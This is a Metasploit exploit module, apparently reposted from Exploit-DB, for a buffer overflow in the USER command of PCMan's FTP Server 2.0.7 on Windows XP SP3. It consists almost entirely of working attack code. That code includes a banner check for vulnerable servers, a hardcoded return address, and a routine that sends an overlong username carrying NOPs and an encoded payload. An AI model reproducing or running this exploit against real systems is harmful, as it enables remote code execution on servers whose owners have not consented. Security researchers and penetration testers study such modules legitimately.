PCMan FTP Server 2.0.7 Buffer Overflow

`# Exploit-DB Note: Ret needs adjustment for Windows XP SP3 English  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PCMan\'s FTPD V2.0.7 Username Overflow',  
'Description' => %q{  
This module exploits a buffer overflow found in the USER command  
of PCMan's FTPD.  
},  
'Author' => 'MSJ <matt.jones.85[at]gmail.com>',  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Payload' =>  
{  
'Space' => 2005,  
'BadChars' => "\x53\x93\x42\x7E",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Target 0  
[  
'Windows XP SP3 English',  
{  
'Ret' => 0x7e429353 # push esp, ret  
}  
]  
],  
'Default Target' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /220 PCMan\'s FTP Server 2\.0 Ready\./)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
sploit = 'USER ' + "\x41" * 2005 + [target.ret].pack('V') + make_nops(16) + payload.encoded  
  
send_cmd( [sploit] , false )  
  
handler  
disconnect  
end  
  
end  
  
`